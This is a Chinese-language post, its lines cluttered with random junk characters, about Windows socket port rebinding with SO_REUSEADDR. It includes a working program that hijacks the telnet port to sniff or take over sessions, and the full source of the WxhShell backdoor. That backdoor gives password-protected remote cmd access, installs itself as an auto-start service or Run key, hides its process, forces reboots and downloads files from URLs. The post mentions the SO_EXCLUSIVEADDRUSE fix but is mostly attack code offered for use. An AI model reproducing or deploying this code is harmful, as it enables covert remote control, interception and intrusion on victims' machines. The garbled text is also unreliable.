在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
KIY9?B=+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
otQ
G6 [<nd+3E saddr.sin_family = AF_INET;
SUD~@]N1 _AH_<Z( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kA9 k^uR/ )#sN#ZR$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6sT(t8[ @?&
i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
gZ=$bR (*\y 这意味着什么?意味着可以进行如下的攻击:
UI*&@!%bzp yGH')TsjD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/buj(/q^# A>\3FeU>UC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
x!u6LDq0 7H4kj7UK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
n%!50E6*: =>7czw:S1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~w(A3I. V@K^9R,| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7mL1$i6= m<!CF3g 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
OK2\2&G bG+Gg*0p 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
FA;B:O@:' &uI33= #include
TJuS)AZ
C #include
}xY|z"& #include
){w!<Lb #include
eQIS`T DWORD WINAPI ClientThread(LPVOID lpParam);
{'#7b# DB> int main()
u3sr"w& {
T7N\b]?j@Y WORD wVersionRequested;
<)o xs]< DWORD ret;
&09G9G snQ WSADATA wsaData;
OOYdrv, BOOL val;
WL3J>S_ SOCKADDR_IN saddr;
am/D$ (l1 SOCKADDR_IN scaddr;
A$?o3--#]G int err;
zoj
w^%W SOCKET s;
5"D\n B% SOCKET sc;
Gz7,g
Y int caddsize;
@FN1o4&3 HANDLE mt;
1h`# H: DWORD tid;
LtNspFoLb wVersionRequested = MAKEWORD( 2, 2 );
oOGFg3X err = WSAStartup( wVersionRequested, &wsaData );
s*vtCdrE.
if ( err != 0 ) {
yaAg!mW printf("error!WSAStartup failed!\n");
$C8s return -1;
#vTF:r }
nDNK}O~' saddr.sin_family = AF_INET;
!ce,^z&5 mHNqzdaa //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s2K8|q= UO-,A j*wW saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&pAmFe saddr.sin_port = htons(23);
/q^_
'Lp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mQ\oR| {
_ sBFs.o printf("error!socket failed!\n");
T=fVD8 return -1;
UQjZhH }
) 3I|6iS val = TRUE;
Sbj{) //SO_REUSEADDR选项就是可以实现端口重绑定的
qx}*L'xB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Ky{C;7X {
wT:mfS09N printf("error!setsockopt failed!\n");
^0/!:*? return -1;
5NMju!/ }
5~"m$/yE //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;5}"2hU> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QW&@>i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
i.+#a2 >n>gX/S<C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#F+b^WTR {
S#|5&SR ret=GetLastError();
vFK(Dx printf("error!bind failed!\n");
/fxv^C82yv return -1;
ae]
hCWK }
`~LaiN. listen(s,2);
0f,Ii_k bT while(1)
@FuX^Q.[ {
lUHpGr|U% caddsize = sizeof(scaddr);
lAx8m't}6 //接受连接请求
~Yl%{1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
AHTQF#U^ if(sc!=INVALID_SOCKET)
+Z/aG k; {
*l'5z)] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Tc;j)_C) if(mt==NULL)
fMZc_dsW9 {
|z.Ov&d4)( printf("Thread Creat Failed!\n");
5~xv"S(E} break;
t8S,C4 }
vv`,H~M6 }
8MCSU'uQ CloseHandle(mt);
9'h4QF+Y }
oz\r0: closesocket(s);
.KE2sodq WSACleanup();
O%busM$P)/ return 0;
)cxML<j'
}
mV'^4by DWORD WINAPI ClientThread(LPVOID lpParam)
c|~f[ {
yyuf SOCKET ss = (SOCKET)lpParam;
1EA} [x SOCKET sc;
2]-xmS>|b unsigned char buf[4096];
YX6[m6LU SOCKADDR_IN saddr;
m*H6\on: long num;
H iDL:14 DWORD val;
~ (d#T |ez DWORD ret;
k[;(@e@c //如果是隐藏端口应用的话,可以在此处加一些判断
%z AN@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"%{J$o saddr.sin_family = AF_INET;
Z)H9D(Za saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)x&OdFX saddr.sin_port = htons(23);
e=EM07z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9/R<, {
**lT 'D printf("error!socket failed!\n");
8i?h{G IMV return -1;
&&{_T4 }
9Y-6e0B: val = 100;
A+1>n^^_< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<{b#nPc!,# {
<ooRpn ret = GetLastError();
]h0 K*{ return -1;
iWu^m+"k }
8gI~x.k` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k=qb YGK {
(.54`[2+L ret = GetLastError();
h>A}vI*: return -1;
q<*UeyE
S }
S)[$F} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
l:rT{l=8* {
w0N8a% printf("error!socket connect failed!\n");
;NeN2 |I] closesocket(sc);
L;s,x V closesocket(ss);
YXWlg%s return -1;
p6e9mSs }
p[lciWEW while(1)
ON/U0V:v {
"vG~2J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-v7O*xm" //如果是嗅探内容的话,可以再此处进行内容分析和记录
SH${ \BKup //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~}fQ.F*7R num = recv(ss,buf,4096,0);
S;FgS:; if(num>0)
k+FiW3- send(sc,buf,num,0);
Ue22,Pp6 else if(num==0)
5U+a{oA break;
YjM_8@< num = recv(sc,buf,4096,0);
NN;'QiE if(num>0)
p&~= rp`E send(ss,buf,num,0);
rF8nz:8 else if(num==0)
7v^V]&&s break;
l
/\n7: }
R|h(SXa closesocket(ss);
rWo&I_{ closesocket(sc);
1-M\K^F return 0 ;
};=44E'7 }
UF ]g6u S=bdue wpLC, ==========================================================
ADQ#qA,/ ~Uz1()ftz 下边附上一个代码,,WXhSHELL
BRg(h3 ED ?Q XS? ==========================================================
$WV N4fg lB
Y "@N #include "stdafx.h"
{tlt5p!4 Fl'+ C #include <stdio.h>
N$i|[>`j #include <string.h>
X( H-U
q*( #include <windows.h>
Kq*D_Rh2 #include <winsock2.h>
*Bgk3(n) #include <winsvc.h>
(3>Z NTm #include <urlmon.h>
aF~ 0\XC e+t2F
|xDh #pragma comment (lib, "Ws2_32.lib")
2}^fhMS #pragma comment (lib, "urlmon.lib")
UmRI! WQl rprtp5C g #define MAX_USER 100 // 最大客户端连接数
.jfkOt?2 #define BUF_SOCK 200 // sock buffer
rz@;Zn #define KEY_BUFF 255 // 输入 buffer
[e:mRMi `f9I#B
#define REBOOT 0 // 重启
zu~E} #define SHUTDOWN 1 // 关机
^Cs5A0xo#s I C6}s #define DEF_PORT 5000 // 监听端口
D/$$"AT QlHxdRK`. #define REG_LEN 16 // 注册表键长度
O#e' .n!rI #define SVC_LEN 80 // NT服务名长度
fA]b'8 l }i
. // 从dll定义API
;&N;6V"} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1Ue;hu'q: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Fj`6v"h typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O<1qU
M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-}B&>w,5 m&H@f: // wxhshell配置信息
4EO,9#0 struct WSCFG {
Myj 68_wf int ws_port; // 监听端口
:CQ-?mT^LA char ws_passstr[REG_LEN]; // 口令
eN/o}<(e int ws_autoins; // 安装标记, 1=yes 0=no
gsqpQq7 char ws_regname[REG_LEN]; // 注册表键名
<3wfY
#;>< char ws_svcname[REG_LEN]; // 服务名
!NNq( t char ws_svcdisp[SVC_LEN]; // 服务显示名
zF6]2Y?k% char ws_svcdesc[SVC_LEN]; // 服务描述信息
c({V[eGY char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)>]~ Y int ws_downexe; // 下载执行标记, 1=yes 0=no
ZE ())W" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,<[Q/:}[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|G+6R-_ A{5^A)$ };
GgoPwl#{ 3aL8 gE // default Wxhshell configuration
XNwZSW struct WSCFG wscfg={DEF_PORT,
Q1fJ`A= "xuhuanlingzhe",
T9@W,0# 1,
" .9b}} "Wxhshell",
bp06xHMu "Wxhshell",
):@XMECa "WxhShell Service",
$nB4Ie!WcR "Wrsky Windows CmdShell Service",
fh0a "#L{ "Please Input Your Password: ",
*(%]|z}]m 1,
vjy 59m "
http://www.wrsky.com/wxhshell.exe",
Q3t9J"=1g "Wxhshell.exe"
v-;j44sB };
Tl.dr "t4$%7L] // 消息定义模块
}1A Brbc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
a=<l}`* char *msg_ws_prompt="\n\r? for help\n\r#>";
f$G{7%9* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
j4v.8; char *msg_ws_ext="\n\rExit.";
Jww LAQ5 char *msg_ws_end="\n\rQuit.";
l-Hp^|3Wq char *msg_ws_boot="\n\rReboot...";
wf4?{H char *msg_ws_poff="\n\rShutdown...";
R<}n?f\#JZ char *msg_ws_down="\n\rSave to ";
_5F8F4QY` eIEr\X4\~~ char *msg_ws_err="\n\rErr!";
S]kY'(V(* char *msg_ws_ok="\n\rOK!";
q[l!kC+Eh LTGKs^i4 char ExeFile[MAX_PATH];
@Sxb}XI!f int nUser = 0;
>wiW(Ki} HANDLE handles[MAX_USER];
|p"P+"# int OsIsNt;
yQA6w% C]ev"Am_)
SERVICE_STATUS serviceStatus;
Y#9dVUS SERVICE_STATUS_HANDLE hServiceStatusHandle;
39jnoT KZFnp=i // 函数声明
| |=q"h3( int Install(void);
Uq0GbLjv" int Uninstall(void);
Tw|cg B int DownloadFile(char *sURL, SOCKET wsh);
[<;4$}f\ int Boot(int flag);
'+6H= Qn void HideProc(void);
!"w1Pv, int GetOsVer(void);
C-Q]f int Wxhshell(SOCKET wsl);
y8=(k}=3 void TalkWithClient(void *cs);
86bl'FdKS int CmdShell(SOCKET sock);
Tx)X\&ij& int StartFromService(void);
t2)S61Vr int StartWxhshell(LPSTR lpCmdLine);
s68&AB iNn]~L1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Q;m:o8Q5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
[X +E 6#egy|("nF // 数据结构和表定义
*>x~` SERVICE_TABLE_ENTRY DispatchTable[] =
E'|@hL-jn {
Ij +
E/V {wscfg.ws_svcname, NTServiceMain},
';g]!XsY) {NULL, NULL}
,2H@xji
[ };
0/".2(\}T 7M~w05tPh // 自我安装
h,:8TMJRRN int Install(void)
>Qk4AMIO {
>Ux5UD char svExeFile[MAX_PATH];
J&%d(EJM HKEY key;
ghXh nxG strcpy(svExeFile,ExeFile);
<I}O_:% <k2Qcicy // 如果是win9x系统,修改注册表设为自启动
p&Usl. if(!OsIsNt) {
<S*o}:iB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{-28% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%_*q'6K RegCloseKey(key);
jOuz-1x,& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
< *
)u\A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M"
|Mte RegCloseKey(key);
.Rq|F return 0;
9UD~$_<\ }
%]/O0#E3Kz }
Rk#@{_ }
*KF-q?PBb else {
tx=~bm"*? <mE)&7C // 如果是NT以上系统,安装为系统服务
G.KZZ-=_4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$0[T=9q <+ if (schSCManager!=0)
i#$N,kt {
mT8")J|2 SC_HANDLE schService = CreateService
f_}FYeg (
-\mbrbG9H schSCManager,
mz\d>0F U. wscfg.ws_svcname,
tlo"tl_] wscfg.ws_svcdisp,
pgg4<j_mn SERVICE_ALL_ACCESS,
!o.l:Mr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4%#C _pE9 SERVICE_AUTO_START,
D'y/pv}! SERVICE_ERROR_NORMAL,
u_.`I8qa svExeFile,
W (N@`^ NULL,
t\2Lo7[Pu NULL,
\TM%,RC3K NULL,
FyuCYg
\p NULL,
+(d\`{A NULL
cES3<`[K
);
{9wBb`.n^ if (schService!=0)
V9 <!pMj {
!Kv.v7'N/k CloseServiceHandle(schService);
!Fa2F~#h CloseServiceHandle(schSCManager);
sMh3IL9(* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
- P+( =U strcat(svExeFile,wscfg.ws_svcname);
{3Z&C$:s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&f1dCL%z7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
d,j"8\@ RegCloseKey(key);
A!}Wpw%(/ return 0;
3rX5haD\ }
&E.ckWf }
%H\i}}PTe CloseServiceHandle(schSCManager);
!$ikH,Bh }
9H5S@w[je }
<6k5nE h P@LYa_UFsN return 1;
=>". }
SEm3T4dfzf ]Auk5M + // 自我卸载
7VkT(xnm
int Uninstall(void)
ws:@Pe4AF {
T1ZAw'6(K
HKEY key;
?[Xv(60] qYj
EQz if(!OsIsNt) {
Tvr2K84l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%<%ef+* RegDeleteValue(key,wscfg.ws_regname);
ON~jt[ RegCloseKey(key);
Q:$<`K4) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M{$EJS\d= RegDeleteValue(key,wscfg.ws_regname);
X
$LX;Lv RegCloseKey(key);
der'<Q.U:k return 0;
zrYhx!@ }
@O b$w1c }
Afi;s., }
t-gg,ttnA else {
l@vau pg }6SfI; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
VH1PC if (schSCManager!=0)
D4%5T>^LW[ {
>$h *1/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
B:dk>$>uQ if (schService!=0)
,w%cX{ {
NqcmjHvy if(DeleteService(schService)!=0) {
;pu68N(B CloseServiceHandle(schService);
K:&FWl. CloseServiceHandle(schSCManager);
1qXqQA return 0;
FHWzwi*u} }
@D_=MtF< CloseServiceHandle(schService);
F/z$jj) }
46c7f*1l CloseServiceHandle(schSCManager);
p.,o@GcL~ }
dOPA0Ja }
"TB4w2?= y\ L$8BSL return 1;
e R"XXF0u }
gzDH~'8W @cNBY7= // 从指定url下载文件
AA&398F int DownloadFile(char *sURL, SOCKET wsh)
*gRg--PY% {
^znj J\ HRESULT hr;
~7aBli= char seps[]= "/";
csZIBi char *token;
w5uOi}T\ char *file;
OM5"&ZIZb char myURL[MAX_PATH];
m[S6pqz char myFILE[MAX_PATH];
/5M@>A^?' '~i;g.n=}- strcpy(myURL,sURL);
udxLHs token=strtok(myURL,seps);
lk8g2H
, while(token!=NULL)
-N`j` zb| {
-
Z?rx5V;t file=token;
-FA]%Pl<' token=strtok(NULL,seps);
fF!Mmm" }
o"D`_ER ~J1;Z0}# GetCurrentDirectory(MAX_PATH,myFILE);
oL0Q%_9hW strcat(myFILE, "\\");
pVe@HJy6G strcat(myFILE, file);
%jEdgD%xV send(wsh,myFILE,strlen(myFILE),0);
Y~]E6'Bz send(wsh,"...",3,0);
}Y\Ayl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ypEcjVPD if(hr==S_OK)
\.p{~Hv return 0;
v|acKux=t else
D&_Ir>"\ return 1;
\eD#s Sd?:+\bS; }
Omo1p(y S N_!o2F2 // 系统电源模块
VgG*y#Qf$ int Boot(int flag)
^6;n@ {
w^N xR, HANDLE hToken;
p~1,[]k TOKEN_PRIVILEGES tkp;
5`,qKJ m}w~ d / if(OsIsNt) {
*44^M{ti< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3Gi#WV4$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$/;:Xb=q tkp.PrivilegeCount = 1;
|GgFdn`> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"o&_tB;O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
m=i 8o ` if(flag==REBOOT) {
aWhhq@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p]=a:kd4J return 0;
*qKPZb~ }
!7ct=L else {
N@J "~9T if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2ILMf?} return 0;
H@0i}!U64 }
JmB7tRM8 }
x,YC/J else {
mKY}+21!Q if(flag==REBOOT) {
TR3_!0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ecIxiv\ return 0;
]S+NH[g+ }
WP-?C<Iw else {
VS0
&[bl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4Z>KrFO return 0;
fR<_ 4L }
x zmg'Br }
zs!,PQF( fsqK(io28 return 1;
E5 "%-fAJ }
e"HA.t[A
h-u63b1"? // win9x进程隐藏模块
\C;cs&\Q void HideProc(void)
t_1(Ex {
Sw HrHj $%9.qy\8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
71`)@y,Z, if ( hKernel != NULL )
Hq'mv_}qG {
b
'p0T1K( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?m5@ 635 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~/LO @ FreeLibrary(hKernel);
nxH+XHv }
KSsv~!3Yf -_&"Q4FR;+ return;
|r2U4^ }
vAZc.=+ > Do-~-d4 // 获取操作系统版本
l1*qDzb int GetOsVer(void)
h:{rjXK
{
Wj0=cIb OSVERSIONINFO winfo;
Zd$a}~4~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
OxGKtnAjf GetVersionEx(&winfo);
:t?Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;"/[gFD5u return 1;
qRk&b F/ else
Y*0 AS|r! return 0;
!,8jB( }
l* C> 1.p2{ // 客户端句柄模块
N]gJ(g int Wxhshell(SOCKET wsl)
*d%"/l^0 {
fyYHwG SOCKET wsh;
CJ+/j=i;~c struct sockaddr_in client;
f.Wip)g DWORD myID;
PuyJ:#a 37C'knW while(nUser<MAX_USER)
7K"{}: {
z4GcS/3K int nSize=sizeof(client);
FDfLPCQm wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[6+iR if(wsh==INVALID_SOCKET) return 1;
xi5G?r J+hiz3N handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
QH~;B[-> if(handles[nUser]==0)
']Q4SB"q closesocket(wsh);
i_/A,5TF else
|"}F cS
y nUser++;
awYnlE/Z1 }
DxuT23.
( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\gz(C`4{j &6ymGo return 0;
(<bYoWrK# }
2bu,_<K. 8PKUg
"p // 关闭 socket
aCxF{>n
void CloseIt(SOCKET wsh)
^/'zU, {
@aQ};~ closesocket(wsh);
}%^N9AA8 nUser--;
Nuc;Y ExitThread(0);
`!BP.-Zv }
"2l$}G }4Q~<2 // 客户端请求句柄
_?VMSu void TalkWithClient(void *cs)
/RG>n {
=6.4 fBj-R~;0 SOCKET wsh=(SOCKET)cs;
+aY]?] char pwd[SVC_LEN];
>O;V[H2[ char cmd[KEY_BUFF];
{l0[`"EF char chr[1];
Am'%tw
~ int i,j;
\\R$C *F:)S"3_~e while (nUser < MAX_USER) {
9Sey&x Mg"e$m if(wscfg.ws_passstr) {
m%ec=%L9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{sOW DM5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i)!2DXn //ZeroMemory(pwd,KEY_BUFF);
te[#FF3{ i=0;
;_~9".'<d while(i<SVC_LEN) {
0s$;3qE @S<6#zR // 设置超时
&7J-m4BI fd_set FdRead;
v\Y8+dD struct timeval TimeOut;
mu*RXLai FD_ZERO(&FdRead);
'.B5CQ FD_SET(wsh,&FdRead);
pw.K,?kYr TimeOut.tv_sec=8;
[4 v1
N TimeOut.tv_usec=0;
\[9^,QP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2MU$OI0| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]N;\AXZ7 B&+)s5hh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7 1+
bn pwd
=chr[0]; JP,yRb\
if(chr[0]==0xd || chr[0]==0xa) { R>D [I.
pwd=0; PcQ\o>0")
break; 3\ {?L
} |)65y
i++; dQs>=(|t
} XiMd|D
vR7S!
// 如果是非法用户,关闭 socket ]!X[[w)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bra}HjHO
} 2!_DkE
Y#t9DhzFWo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oZ_,WwnE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9$#@Oe8*
w `nm}4M
while(1) { #62*'.B4
/|p\l"
ZeroMemory(cmd,KEY_BUFF); A<y]D.Z"
l@0${&n
// 自动支持客户端 telnet标准 H+
7HD|GE
j=0; `>- 56 %
while(j<KEY_BUFF) { qjsEyro$-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^;sE)L6
cmd[j]=chr[0]; SyI\ulmL
if(chr[0]==0xa || chr[0]==0xd) { A*~BkvPr
cmd[j]=0; e>m+@4*sn
break; JM7FVB
} 0g2rajS
j++; *P/DDRq(2
} = q(?ALGc
j 8)*'T
// 下载文件 l{gR6U{e
if(strstr(cmd,"http://")) { {9FL}Jrt
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :PK2!
0nK
if(DownloadFile(cmd,wsh)) xn>N/+,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z(u,$vZ_
else DX^8w?t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 82 dmlPwJC
} I
Z|EPzS
else { :Q,~Nw>
D~FIv
switch(cmd[0]) { V|TD+7.`QB
1(pv3
// 帮助 e)y+]
case '?': { RG=i74a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _kc}:
break; F|G v
} 5|7<ZL3
// 安装 H&
$M/`
case 'i': { Y_6v@SiO
if(Install()) Z^BZH/I?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nly}ly Q/
else "sIww
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )W6l/
break; @r^s70{}
} d+vAm3.Dg
// 卸载 \mTi@T!&
case 'r': { %Eugy
if(Uninstall()) M(yWE0 3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mHAfK B
else ,@fx[5{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .2U3_1dX
break; Q3Z?Z;2aR
} @LFB}B
// 显示 wxhshell 所在路径
cml~Oepf
case 'p': { fq4uiFi<
char svExeFile[MAX_PATH]; ?~IdPSY
strcpy(svExeFile,"\n\r"); (sI`FW_
strcat(svExeFile,ExeFile); 9KB}?~Nx4
send(wsh,svExeFile,strlen(svExeFile),0); t3g+>U_m
break; M6 8foeeN
} K'/if5>Bc
// 重启 ?`xm_udc
case 'b': { :xTm-L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .LDp.#d9r1
if(Boot(REBOOT)) c<lEFk!g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *YX5bpR?
else { hrO9_B|#
closesocket(wsh); j6};K ~N`
ExitThread(0); Sk C.A?
} KX3A|
break; ._t1eb`m{
} QhLgFu
// 关机 LE)$_i8gX
case 'd': { r&Qa;-4Pl
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QC!SgV
if(Boot(SHUTDOWN)) s&'FaqE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y"ss<`Cn
else { A|]#b?-
closesocket(wsh); s? Xgo&rS_
ExitThread(0); AlG5n'
} q9PjQ%
break; ]zCD1*)
} ()w;~$J
// 获取shell ,!LY:pMK
case 's': { -'L~Y~'.
CmdShell(wsh); .p*?g;
closesocket(wsh); GD'Z"rhI
ExitThread(0); 7-Oa34ba+
break; RHpjJZUV
} $duT'G, -
// 退出 6w(r}yO]
case 'x': { Bd)Cijr
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _h1eW9q
CloseIt(wsh); ](8F]J ,
break; nT+ZSr
} rlawH}1b
// 离开 LH=^3Gw
case 'q': { V82I%gPF
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _Y/*e<bU
closesocket(wsh); #$W0%7
WSACleanup(); o)n)Z~
exit(1); L<3+D
break; 'Ha> >2M
} Q-F$Ryj^
} ^,t@HN;gA
} vfvp#
)G?\{n-
// 提示信息 HwZl"!;Mry
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rFkZ'rp74b
} L6i|5 P
} _x3=i\O,
J~ome7L
return; QxxPImubB
} \>}#[?y
j}s/)}n|
// shell模块句柄 :).NA
]
int CmdShell(SOCKET sock) _j3rs97@|
{ 'UxI-Lt
STARTUPINFO si; x{zZ%_F
ZeroMemory(&si,sizeof(si)); c2,g%(
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +F60_O
`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }$L1A
PROCESS_INFORMATION ProcessInfo; 9L3P'!Z
char cmdline[]="cmd"; 1cMLl6Bp>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "aI)LlyCY
return 0; D.%%D%AdB
} QKx(S=4jQ
WAR!#E#J7
// 自身启动模式 *{j;LA.BR#
int StartFromService(void) UBM#~~sM
{ '0)`.
typedef struct He5y;5
{ , %8)I("
DWORD ExitStatus; +Yq?:uBV
DWORD PebBaseAddress; 7-n HPDp'
DWORD AffinityMask; );TB(PQsBT
